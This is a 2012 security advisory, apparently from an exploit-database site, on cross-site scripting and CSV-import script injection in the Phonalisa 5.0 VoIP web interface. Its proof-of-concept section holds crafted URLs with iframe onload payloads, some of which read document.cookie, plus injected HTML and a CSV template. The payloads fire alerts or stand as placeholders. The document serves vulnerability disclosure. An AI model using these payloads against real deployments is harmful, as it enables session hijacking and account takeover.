[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Phonalisa 5.0 VoiP Code Execution / Cross Site Scripting

Author
Benjamin K.M.
Risk
[
Security Risk High
]
0day-ID
0day-ID-18972
Category
web applications
Date add
12-07-2012
Platform
php
Phonalisa v5.0 VoiP - Multiple Web Vulnerabilities

Introduction:
=============
Die Revolution Ihrer Unternehmenskommunikation. Phonalisa ist ein IP-Telefonsystem, welches 
schon heute alle Ansprüche von morgen erfüllt. In Phonalisa 5 wurde Vieles noch besser gemacht! 
Zu den Highlights zählen u.a. ein neues noch flexibleres Rufumleitungssystem, noch mehr 
unterstützte Endgeräte und vieles mehr! 

- Makeln, Weiterleiten, Rückfrage, Anklopfen, Konferenz
- Pickup von Gesprächen
- Pickup-Gruppen
- Call-Box (Wählbox) für Direktwahl eingegebener Rufnummern
- Eingabe einer Präsenz - welche im Warteschlangen-Monitor angezeigt wird (z.B. Konferenz,...)
- Zentraler Abwurfplatz
- Zentrale Anruflisten
- CLIR (Rufnummer - Unterdrückung) getrennt (extern/intern) konfigurierbar
- CLIP no screening - angezeigte Rufnummer (extern/intern) änderbar
- Rückruf bei „besetzt“/“frei“ - im internen Telefonsystem
- Integrierter Instant Messaging Server

Alle von Phonalisa unterstützten Modelle werden automatisch Konfiguriert. Phonalisa kann Endgeräte 
automatisch für Sie konfigurieren. Sie müssen nur einen neuen Benutzer über die WebUI anlegen und 
direkt am Telefon anmelden. Schon kann telefoniert werden. 

(Copy of the Vendor Homepage: http://www.phonalisa.de/funktionen )

Details:
========
1.1
Multiple persistent input validation vulnerabilities are detected in Phonalisa v5 VoiP Phone Application.
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) 
context manipulation. Exploitation requires low user inter action. When exploited by an authenticated user, the 
identified vulnerabilities can result in information disclosure via error, session hijacking, access to available 
phone line services, manipulated persistent context execution out of the auto route listings for sip gateways.
The vulnerabilities are located in the Routing, Fax and Groups section of the sip phone application and the 
vulnerable bound parameters faxnumber or groups title.


Vulnerable Module(s):
                                   [+] Routing - Erweiterte Parameter für das SIP-Gateway [Parameter|Wert]
                                   [+] Fax - Fax sending > Faxnummer Input & Output Listing
                                   [+] Groups Input & Listing - Title (Name)

vulnerable Parameter(s):
                                   [+] faxnumber
                                   [+] groups title
                                   [+] routinggws-sip


1.2
Multiple non persistent cross site scripting vulnerabilities are detected  in Phonalisa v5 VoiP Phone Application.
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with high required 
user inter action or local low privileged user account. Successful exploitation can result in account steal, phishing 
& client-side content request manipulation.

Vulnerable Module(s):
                                   [+] ?s=
                                   [+] mac= & phone_type=
                                   [+] sudo=
                                   [+] pbx_id=

1.3
A persistent code execution vulnerability & validation bug is detected in Phonalisa v5 VoiP Phone Application. 
The vulnerability allows privileged attackers to execute or inject script code on application side by 
exporting/importing a  manipulated .csv files. Another effect is the vulnerable listing which executes 
the persistent code of the .csv unfilterted on application side.

Vulnerable Module(s):
                          [+] Addressbook > Contacts > Input & Output Listing

Vulnerable Module(s):
                          [+] Company:First & Name:Surname


Vulnerable Parameter(s):
                          [+] addressbookaddressbook&sudo=su


Proof of Concept:
=================
1.1
The persistent input validation vulnerabilities can be exploited by remote attackers with privileged account & 
with low required user inter action. For demonstration or reproduce ...


Review: Groups Input & Listing - Title (Name)

<td>"><iframe src="Phonalisa%205%20IP%20Telekommunikationssytem%20-%20Lizenziert%20
f%C3%BCr%20AereA%20NetworX%20UG%20%28haftungsbeschr%C3%A4nkt%29%20-%20100%20Benutzer-
Lizenz3-Dateien/[PERSISTENT SCRIPT CODE])' <<="" td="">
<td>user</td>
<td>0</td>

URL: http://phone.server.de/?s=admingroups&sudo=su


Review: Fax - Fax sending > Faxnummer Output Listing

<td><input name="faxnumber" type="text"><iframe src="Phonalisa%205%20IP%20Telekommunikationssytem
%20-%20Lizenziert%20f%C3%BCr%20AereA%20NetworX%20UG%20%28haftungsbeschr%C3%A4nkt%29%20-%20100%20Benutzer
-Lizenz-Dateien/[PERSISTENT SCRIPT CODE])' <"="" style="width: 250px;"></td>
</tr>
<tr>


URL: http://phone.server.de/?s=faxsend&sudo=su  


Review: Routing - Erweiterte Parameter für das SIP-Gateway [Parameter|Wert]

<td>"><iframe src="Phonalisa%205%20IP%20Telekommunikationssytem%20-%20Lizenziert%20f%C3%B
Cr%20AereA%20NetworX%20UG%20%28haftungsbeschr%C3%A4nkt%29%20-%20100%20Benutzer-Lizenz4-Dateien/a.htm" onload='alert("VL")' <<="" 

td=""><td>"><[PERSISTENT SCRIPT CODE]) <</td><td><a 
href="/?s=routinggws-sip&m=gws-sip&sudo=su&deleteparam=%22%3E%3C
iframe%20src%3Da%20onload%3Dalert%28%22VL%22%29%20%3C&deletevalue=%22%3E%3Ciframe%20src%3Da%20onload%3Dalert%28%22VL
%22%29%20%3C&action=delextended&extended=show&gw-title=&gw-id=10"
 title="löschen" onclick="return confirm_delete();"><img 
alt="entfernen" src="/crystal-svg/16/act/editdelete.png" 
/></a></td></tr><tr><td>allow<
/td><td>alaw</td><td><a


URL: http://phone.server.de/?s=routinggws-sip&sudo=su



1.2
The client side cross site scripting vulnerabilities can be exploited by remote attackers with medium or high required
user inter action. For demonstration or reproduce ...

PoC:

http://phonalisa.127.0.0.1:8080/?s=monitorqueues&sudo=su%22%3E%3Ciframe%20src=a%20onload=alert%28document.cookie%29%20%3C

http://phonalisa.127.0.0.1:8080/?s=monitorqueues&sudo=su%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C

http://phonalisa.127.0.0.1:8080/?s=home&m=home&sudo=%22%3E%3Cimg%20src=http://www.vuln-lab.com/images/200911/11/i8du12ievi9fh1a9rm-
owned-headonfire.jpg%20onload=alert%28123%29;%20/%3E&setlang=en-us

http://phonalisa.127.0.0.1:8080/?s=home&m=home&sudo=%22%3E%3Cimg%20src=http://www.vuln-lab.com/images/200911/11/i8du12ievi9fh1a9rm-
owned-headonfire.jpg%20/%3E&setlang=en-us

http://phonalisa.127.0.0.1:8080/?s=provphones&m=phones&sudo=su&mac=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL
%22%29%20%3C&ip=127.0.0.1&pbx_id=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C&phone_type=%22%3E%3Ciframe%20src=a
%20onload=alert%28%22VL%22%29%20%3C

http://phonalisa.127.0.0.1:8080/&mac=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C&sudo=su§ion=
%2Fprov%2Fcisco


1.3
The file code execution vulnerability can be exploited by privileged attackers without required user inter action. 
For demonstration or reproduce ...

Review: Addressbook - Contacts [Company:First name:Surname] Input & Output Listing

<tbody><tr style="line-height: 19px;">
<td>"><iframe src="Phonalisa%205%20IP%20Telekommunikationssytem%20-%20Licensed%20forA
ereA%20NetworX%20UG%20%28haftungsbeschr%C3%A4nkt%29%20-%20100%20Benutzer-Lizenz-Dateien/x.htm" 
[CODE EXECUTION]' <<br="">"><[CODE EXECUTION] < "><[CODE EXECUTION] 
<<br></td><td>CEO<br></td>
<td></td><td><a
 href="/srv/pb-dial.php?n=000000000000" title="dial"><img 
alt="dial" src="/crystal-svg/16/app/phone.png" /></a> 
  
+490000000000<br></td><td></td><td>&
lt;/td><td><center><a


PoC:  poc.csv

Surname;First name;Company;Position;Street;ZIP;City;Mobil;Private;Business;Fax;Mobil;Private;Business;Fax;E-Mail
"[CODE EXECUTION]<;[CODE EXECUTION];[CODE EXECUTION];CEO;;;;+490000000000;;;;00490000000000;;;;

URL: http://phone.127.0.0.1:8080.de/?s=addressbookaddressbook&sudo=su[CODE EXECUTION]


Risk:
=====
1.1
The security risk of the persistent input validation vulnerabilities are estimated as medium(+).

1.2
The security risk of the non persistent cross site scripting vulnerabilities are estimated as low(+).

1.3
The security risk of the persistent code execution vulnerability via csv import/export is estimated as high(-).



#  0day.today [2024-11-14]  #